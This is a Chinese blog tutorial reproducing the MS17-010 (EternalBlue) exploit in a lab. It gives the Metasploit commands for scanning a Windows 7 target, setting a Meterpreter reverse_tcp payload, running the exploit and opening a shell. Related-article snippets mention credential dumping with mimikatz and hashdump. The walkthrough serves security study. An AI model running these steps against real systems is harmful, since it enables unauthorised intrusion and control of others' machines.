（一阶段）渗透测试：MS17-010

原创 已于 2023-11-04 17:04:57 修改 · 143 阅读 · 1 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#web安全 #安全

于 2023-10-13 18:29:05 首次发布
本文介绍了如何在KaliLinux环境中使用Nmap探测Windows7靶机的IP地址并扫描其端口，然后通过Metasploit利用MS17-010漏洞执行MeterpreterreverseTCP攻击，最终实现提权并控制目标机器的过程。

使用工具

  • Nmap
  • Metasploit

环境准备

  • Kali-Linux（模拟攻击）
  • Windows7（靶机）

复现

查看靶机ip地址

ipconfig

 

 扫描靶机端口开放情况

nmap 192.168.0.105

 

 启用msf

msfconsole

搜索漏洞ms17-010

search ms17-010

 

 使用序号0的攻击模块

use 0

 

 设置攻击负载

set payload windows/x64/meterpreter/reverse_tcp

 

 设置靶机ip（win7）

set rhost 192.168.0.105

 

 设置攻击者ip（kali）

set lhost 192.168.0.106

 开始攻击

run

查看权限

getuid

 

通过shell进行提权，控制靶机

 shell

[内网渗透]---msf基础-永恒之蓝-ms17-010
嘿嘿嘿
09-16 1437
用户可以访问和使用 Metasploit 提供的各种功能和模块，包括漏洞利用（exploits）、有效载荷（payloads）、辅助模块（auxiliary modules）、编码器（encoders）和后期利用（post-exploitation）模块等。Metasploit（通常简称为MSF）是一个开源的渗透测试框架，包含大量的已知漏洞利用模块，可以用来攻击目标系统并获取控制权。use 0 ----使用第一个利用漏洞机制进入该模块 --自动进入--》
Windows下的MS17-010（永恒之蓝）漏洞分析与复现
热门推荐
dgjkkhcf的博客
07-20 1万+
永恒之蓝漏洞（MS17-010），它的爆发源于 WannaCry 勒索病毒的诞生，该病毒是不法分子利用美国国家安全局泄露的漏洞 “EternalBlue”（永恒之蓝）进行改造而成 ，“永恒之蓝”是利用Windows系统的SMB漏洞来获取Windows系统的最高权限。.........
【渗透测试：MS17_010（永恒之蓝）漏洞复现与分析】
qq_61947585的博客
07-14 2992
永恒之蓝（Eternal Blue）爆发于2017年4月14日晚，是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限，以此来控制被入侵的计算机。甚至于2017年5月12日， 不法分子通过改造“永恒之蓝”制作了wannacry程序，使全世界大范围内遭受了该程序，甚至波及到学校、大型企业、政府等机构，只能通过支付高额的赎金才能恢复出文件。不过在该程序出来不久就被微软通过打补丁修复。
渗透测试实战-漏洞利用MS17-010
09-26 712
渗透测试实战-漏洞利用MS17-010
Metasploitable渗透测试实战：ms17-010
weixin_68951704的博客
05-05 3184
漏洞简介： 永恒之蓝（即ms17-010）是指2017年4月14日晚，黑客团体Shadow Brokers（影子经纪人）公布一大批网络攻击工具，其中包含“永恒之蓝”工具，“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日，不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招，被勒索支付高额赎金才能解密恢复文件。 Windows操作系统的SMBv1协议中存在安全漏洞。攻击者会扫描开放445文件
渗透测试和复现ms17-010漏洞攻击
Yb528970805的博客
09-15 635
ms17_010 是一种操作系统漏洞，仅影响 Windows系统中的 SMBv1 服务。这个漏洞是由于SMBv1 内核函数中的缓冲区溢出而导致的。攻击者可以通过该漏洞控制目标系统，并执行任意代码。这个漏洞通过 445文件共享端口进行利用，一旦攻击者成功利用该漏洞，就可以在目标主机上植入各种恶意软件，如勒索软件。
通过Metasploit实现MS17-010（永恒之蓝漏洞）的复现学习
Time_worm的博客
07-14 1536
永恒之蓝是指2017年4月14日晚，黑客团体Shadow Brokers（影子经纪人）公布一大批网络攻击工具，其中包含“永恒之蓝”工具，“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日，不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，英国俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招，被勒索支付高额赎金才能解密恢复文件。
渗透测试--MS17-010（永恒之蓝）漏洞
jxy158212的博客
08-08 1833
nmap是目前最流行的网络扫描工具，不仅能准确探测单台主机的详细情况，而且能高效地对大范围的Ip地址段扫描。能扫描目标网络上有哪些主机上存活的，哪些服务是开放的，甚至知道网络中使用了何种类型的防火墙设备等。常见指令-sT：TCP connect扫描-sF/-sX/-sN：通过发送一些特殊的标志位以避开设备或软件的检测-sP：通过发送ICMP echo请求探测主机是否存活，原理同Ping-sU：探测目标主机开放了哪些UDP端口-sA：TCP ACK扫描，对防火墙上未屏蔽的端口进行探测。
Metasploit（一） 利用 MS17-010 漏洞进行攻击
buffedon的博客
06-03 6979
借助 metasploit 利用 MS17-010 漏洞进行攻击Metasploit 简介 （简称：MSF）经常被利用的端口MS17-010利用流程1. 存活判断2. 端口扫描3. 服务识别4. 系统识别5. 漏洞利用后渗透阶段基础命令POST后渗透模块访问文件系统权限提升获取密码的方式run windows/gather/credentials/windows_autologinhashdump 模块mimikatz程序加载kiwi模块MSF中的 mimikatz 模块 Metasploit 简介 （简称
永恒之蓝MS17-010漏洞利用
qq_1873822的博客
08-20 3328
前言 永恒之蓝（Eternal Blue） 爆发于2017年4月14日晚，是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限，以此来控制被入侵的计算机。甚至于2017年5月12日， 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，使全世界大范围内遭受了该勒索病毒，甚至波及到学校、大型企业、政府等机构，只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。 SMB（全称是Server Message Block） 是一个协议服务器信息块，它是一种客户机/服
永恒之蓝（MS17-010）漏洞复现
qq_43006864的博客
04-28 2177
攻击机：win10 靶机：win7 一：信息收集阶段 nmap：nmap -sS -sV -A -p- 192.168.1.107 看到目标主机时win7系统，并开启了445端口。存在被攻击的可能。 二、攻击准备阶段。 MSF（win版） （1）查看可利用漏洞exp信息。 search ms17-010 （2）探测漏洞可否被利用。这里选择scanner，对目标主机进行扫描。 执行命令：use 3 或者use auxiliary/scanner/smb/smb_ms1.
[网络安全 渗透实验 01]基于MSF框架渗透攻击Win7主机系统的设计与实现
m0_54524462的博客
02-01 3036
该文章仅供网络安全相关爱好者和学习者学习使用！
永恒之蓝漏洞ms17-010
weixin_65336001的博客
05-01 2108
什么是永恒之蓝漏洞？利用ms17-010漏洞攻击Windows7复现超细教程
Windows网络服务渗透测试实战MS17-010漏洞复现
c_lanxiaofang的博客
05-16 3890
一、实验项目名称 Windows网络服务渗透测试实战MS17-010漏洞复现 二、实验目的及要求 熟悉Metasploit终端的使用方法； 掌握对MS17-010漏洞攻击的方法。 三、复现步骤（附加文字说明加截图） 1、NAT模式 Kali-Linux ：192.168.232.141 Windows 7： 192.168.232.142 2、查看ip kali：ip a win7：ipconfig 3、重启网卡 service networking restart 4、测试是否连通 k
MS17-010 漏洞利用+修复方法
qq_44484541的博客
04-07 3508
使用时一般配合查看远程用户的空闲时长，空闲时间再进行远程登陆，减小被发现的风险。可以发现，靶机上扫到4个漏洞，其中包括了ms17-010。开始攻击，出现meterpreter >表示运行成功。rhosts显示远程主机未配置，配置目标主机ip。开始扫描漏洞，确认靶机存在ms17-010漏洞。使用扫描模块确认是否存在ms17-010漏洞。6.启用远程桌面，配合上一步获取到的密码登陆。使用ms17-010攻击模块并设置攻击载荷。利用nmap漏洞脚本进行扫描。搜索ms17-010相关模块。nmap端口快速扫描。
MS17-010漏洞复现+利用
最新发布
Nove1205的博客
07-22 2589
MS17-010漏洞复现+利用 文章内容仅供学习参考，若用于非法途径，触犯法律后果自负，本人概不负责！！！
Windows网络服务渗透测试实战`MS17-010漏洞复现的学习
GUN_C的博客
11-14 1190
永恒之蓝，渗透基础
网络安全实战（三）Kali Linux渗透测试（永恒之蓝 MS17-010漏洞复现）
weixin_42474227的博客
12-30 9925
永恒之蓝 MS17-010漏洞复现 学好网络安全，保护自己，保护家人
Metasploit利用ms17_010渗透测试winserv 2008 SP 2
E4
04-27 7204
这次我们利用的是ms17-10对2008服务器进行一次渗透测试。 话不多说QAQ 测试环境： 攻击机：Kali (2018,2) IP：192.168.10.78 靶机：windows server 2008 (SP1) IP：192.168.10.77 因为我的kali是2018年的，已经附带了ms17_010，有些小伙伴的kali还是2016的版本，我这里也贴出来了下载...
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值